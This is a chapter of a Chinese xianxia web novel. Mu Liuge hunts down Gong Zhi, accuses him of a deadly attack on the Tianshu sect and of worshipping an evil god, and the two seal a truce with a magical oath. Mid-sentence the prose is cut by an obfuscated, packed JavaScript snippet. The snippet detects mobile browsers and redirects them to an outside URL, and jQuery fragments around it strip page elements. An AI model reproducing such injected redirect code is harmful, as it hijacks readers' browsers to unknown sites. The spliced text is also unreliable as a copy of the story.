宫执舒了一口气,还好不是追兵。
他刚得了对方送的翡翠扳指,现在怎么看慕大门主怎么顺眼,热情招呼道:“慕门主!”
慕留歌不语,一步步向他逼近。
宫执这才发现,对方被袖子挡住的右手,捻着不败桃花。他的心里隐隐发慌,嘴边还是挤出一抹笑:“慕门主竟也在鬼涎黑山,真是好巧啊!”
慕留歌不再同他浪费时间。桃枝一挥,数根木藤冲破土层拔地而起,直冲宫执的眉心而去。
宫执愣在当场,对方却没有给他反应的余地,直接动手。木藤越来越近,速度分毫未减,宫执飞身向前一扑脱开。木藤顶端是尖如刀刃的木锋,能切断钢铁,削断了他鬓边的一缕发丝。
扑空的藤蔓深深扎进土中,其中一枝甩到了石块上,竟然将巨石直接击裂。
宫执眼看着那半人高的石头被砸得七零八落,一颗心提到嗓子眼。
这是要他的命啊——
“慕慕慕门主??”
木藤长了眼睛一般,调转方向,追着他的后心而去。他登时腰不酸了,腿不疼了,被追得上蹿下跳。
慕留歌挥着桃枝的手一刻未停,还嫌不解气,又唤出几株鞭子一样的藤蔓来,大有要将宫执抽死的架势。
每一次攻击都直冲宫执的要害而去,又在快要刺破他肌肤之时,十分“恰巧”地被他给避开。一两次,宫执还觉得是自己运气好,次数多了,他不禁有种自己是被慕留歌耍着玩的感觉。
“慕门主……”
“啪”一声,又碎了一颗巨石。
慕留歌狠狠打,招招直奔要害,却又破绽百出屡屡让他识破……比起致命倒更像是泄愤。
宫执再好的脾气也被激出几分怒意来,一边躲一边狼狈喊道:“慕留歌!你要杀就杀,做什么戏弄我!”
慕留歌指端把玩桃枝:“不是将我忘了么?怎么不继续装了?”
宫执主打一个能屈能伸:“慕大侠,装失忆是我不对,求你饶了我,你能不能先把这些藤蔓收回去——”
慕留歌:“不行。”
“为什么不行?”
“因为……”
宫执跳起,胯/下的石块又被击裂。
慕留歌:“你上蹿下跳的样子还蛮有意思的。”
宫执:……
慕留歌倏地闪现在他眼前,挺拔的鼻尖几乎要戳到他的脸颊,定定地看着他不说话。
宫执一惊:“你做什么!”
倏地,他脸色一变——
脖颈处被什么东西紧紧抵着,是不败桃花的花枝,底下就是汩汩跳动的脉搏。
“刚才是玩笑,宫执,”慕留歌笑得云淡风轻:“我其实是来杀你的。”
宫执喉结一滚:“杀我?我干什么了?”
脖颈处的桃花枝又深了几分,似是要戳穿他的脖颈。
对方虽眼底没有笑意,是认真的。
宫执额头上渗出细汗,开始疯狂思索分别后的这段时间,自己都做了些什么……难道是去当铺当扳指一事被慕留歌发现了?
慕留歌反悔了,想把扳指要回来?……那也不至于直接来索命吧!其实慕留歌认真的时候,还真挺凶的……毕竟是武将之子,不凶怎么打仗!他大哥世子外号还是活阎罗呢。
宫执晃晃脑袋,越是关键时刻,越是净想些没用的。他一五一十全部交待:
“我……我不该把你送我的扳指拿去当铺换钱?”
慕留歌:“还有呢?”
宫执:“我不该装失忆骗你,更不该当年在你面前逞威风,说什么我比你强……我现在就是个没有修为的废人,你比我强大太多,你强,你天下第一强!”
慕留歌笑得令人胆寒:“谦虚了不是。宫道长骗起人来的本事才是天下第一。你说你去了当铺,却现身在黑山。你没有修为,一日之内如何能穿越百里?”
原来自己在骨冢中昏了一日。
宫执:“……我说我是被人打晕了扛过来的你信吗?”
慕留歌眼睛眯成一条缝。
宫执恨不得把自己心挖出来给他看:“苍天可鉴——我真的是被人打晕了扛过来的——我刚从当铺里面出来,打算数钱,就被一棍子敲晕。等到醒过来,就到了黑山狐狸洞,我又连滚带爬跑了出来,就遇到你了!”
慕留歌不语,将对方脸上一丝一毫细微的表情尽收眼底。
方才,天枢长与他传音,事情不小桩桩件件,皆与宫执有关。
宫执琥珀般的眼瞳澄澈且无辜,没有骗人的痕迹。从先,他也是这般,一边无比真切地瞧着自己,一边暗地里奉养着荧惑。
荧惑,上古灾厄之神。宫执奉养凶神,让其降神自身,栖宿在灵脉之中,日夜温养,增进修为——从前宫执有段日子,在炎炎夏日也是穿得严严实实,不漏一丝皮肉在外面。慕留歌早年还嘲笑宫执学姑娘家怕晒黑,后来才得知,他的身体上布满被荧惑侵蚀的黑痕。
既然逼入绝境都无法将此人体内的凶神逼出来,那么……慕留歌的手攥住宫执的领口,只要扯开一看便知。
宫执无比惊慌道:“你干嘛?放开!”
慕留歌轻笑道:“你不是叫人打晕了么?我帮你看看伤。”
“我被打的是脑袋,你扒我衣服做什么?哎!别——”
挣扎间,一块东西从衣领中抖落,掉在两人脚边。
慕留歌把东西拾起来,将布展开,里面是绿色的小方块,他哑然,“这是什么?”
宫执道:“你送给我的扳指。”
慕留歌:“不是拿去卖了么?”
宫执噎住,没好意思说是对方开价给的太低,拿他当傻子耍,所以自己犹豫二三还是决定不卖了,令那掌柜的捶胸顿足……
“咳,那什么,我反悔了,此物……毕竟是你送我的礼物。”
慕留歌手指捏着那枚扳指,盯着看了良久。
他转身,不再管宫执,坐在了地上,双手十指将脸捂住。
慕留歌一言不发,孤身一人闷坐在那里,后背的肩胛骨深凹下去。
宫执从来没有见过这样的慕留歌——
他是在哭么?
宫执有些傻住了,顿时手足无措起来,关切道:“慕留歌,你到底怎么了?发生什么事了?”
“阿嚏!”
慕留歌打了个大喷嚏,“不好意思,昼夜赶路,风寒。”
宫执:“……”
宫执诚恳道:“慕大侠,您不远万里而来,到底是来做什么的啊?”
慕留歌蹙起眉来,看上去十分烦忧:“天枢深夜遭袭,死了近百名弟子。”
宫执:“!!!什么人如此大胆,竟敢夜袭天枢!”
慕留歌笑笑:“你啊。”
宫执:“谁??”
慕留歌:“天枢藏宝阁遭袭,上千见宝物分毫未动,唯独丢失了宫执的本命法器爻烬。还有,当夜值守的百名弟子只活了一人,那唯一的幸存者说,凶手是‘宫执’本人。”
宫执被这消息震得半晌说不出话。
紧接着慕留歌又道:“当夜,宫执不肯罢休,又来到藏宝阁附近的坟场,掘坟鞭尸。唉,那里埋得可都是德高望重的天枢前身——万仙盟的老前辈们。”
宫执:“我闲的没事挖人坟墓做什么?”
慕留歌:“这要问你本人了。挖的还是叶归遥的坟,当年是叶归遥将你奉养凶神荧惑的事昭告天下,所以天枢认为凶手挖坟鞭尸必是为了泄愤,于是认定凶手也是你。”
宫执失神道:“叶归遥已经死了?!怎么死的?”
慕留歌道:“八年前就死了,死于你手。当年万仙盟大比,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555311|204428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他亲手抽出你体内的荧惑,你不愿意接受,发疯重伤了他。仙门用各种灵药法宝吊了七日的命,还是没有救活。”
宫执不服道:“污蔑!绝对的污蔑!我当日清醒得很,不可能跟叶归遥动手,你不在当场,恐怕是有人故意栽赃给我。”
慕留歌道:“总之,新仇旧账算在一起,所有人都认为是你做的。”
……那你呢?宫执心里涌现了一个最不想面对的答案。
慕留歌轻声道:“天枢对清玄簪花榜的修士下了指令,捉拿你,死活不论。”
宫执只觉得自己脚都软了。
慕留歌满脸复杂神色:“宫执,念在咱们之间的交情,我本想给你个痛快,可惜你上蹿下跳,实在难杀。”
宫执哆嗦道:“哪里哪里,慕大侠本事通天,刚才是有意留我一命,小人感激不尽……”
慕留歌道:“所以你最好老实交待,你回来后的这段时间,都做了些什么。”
宫执:“我说,我说!我化形以后,还是原来的本相,人人都对我喊打喊杀,我不想被人骂,就想换一张脸。可是我的修为尽失,只能从头修炼。我去摆摊卖艺,就是为了赚到足够的钱,我就能买得起丹药,早日提升修为,毕竟变脸是二花的法术,你也知道的……”
慕留歌语气不咸不淡:“你费尽心机赚钱,就是为了换一张脸,然后彻底消失人间?”
宫执:“我发誓!只要我换了脸,绝对消失于江湖,再也不出来碍您的眼!”
慕留歌猝然起身,将扇子“哗”一下展开。
宫执缩起脖颈,不知道那句话又说错了。
慕留歌摇着扇子,笑得鬼气森森:“我不信。我在你身上试不出来灵力,也试不出来妖气……我不知道你对自己又用了什么法子,你向来很舍得对自己下手。”
这句话,是在疑他又在奉养邪神。
宫执心说他又没有奇怪的癖好,什么叫舍得对自己下手?他强迫自己镇定下来,顺着对方的话说:“慕留歌,我明白你的意思,我也没有逼你相信我……可是你仔细想想,我这么废,连你的木藤都逃脱不了,还被抽成了……这样,如何打伤近百个天枢弟子?”
他身上的白衣被木藤抽得七零八落,扇呼着透风,楚楚可怜。
慕留歌上下打量了他一番:“嗯,所以呢?”
博同情有效,下一步就该谈作用了。宫执脑瓜转的飞快:“留我一命,等到时机合适,你大可以让我出面,揭穿真凶的假身份,说不定还能一把揪出幕后主使!”
慕留歌沉默良久,似在思索。
宫执眼见有戏,试探着问道:“那你可以松开我了么?”他手脚上都缠着木藤,关节早就变得又酸又僵。
慕留歌双手环抱在胸前,“松开你,你跑了怎么办?”
“我绝对不跑!”
舍不得孩子套不着狼,宫执怕他又反悔,狠下心道:“你不信我,我们可以以舌印为誓。”
舌印,乃是仙门术法中较为常见的一种法印。两人相互起誓,以心为鉴,若是顺心而为,诚心相待,等到誓言达成,法印自会消散。但是若是违背誓言,便是违背了本心,灵脉便会遭到灵力反噬,遭受噬心之苦。
慕留歌终于妥协,点了点头。
宫执清了清嗓子,字正腔圆道:“我宫执对天发誓,在找到袭击天枢的凶手前,绝对不会离开慕留歌,也不会再奉养凶神害人!”
慕留歌轻声道:“慕留歌起誓,在宫执自证清白以后,定会放他离去。”
说完,他上前扶住宫执的后脑。
宫执伸出一小截舌尖。
两人额抵着额,闭上双眼。宫执眼睛眯成一条缝,看见慕留歌睫毛纤长,左手食指中指汇聚灵力,在空中书了一长串金色咒文,算作誓成,紧接着舌尖就是一烫,烙下一枚桃花印。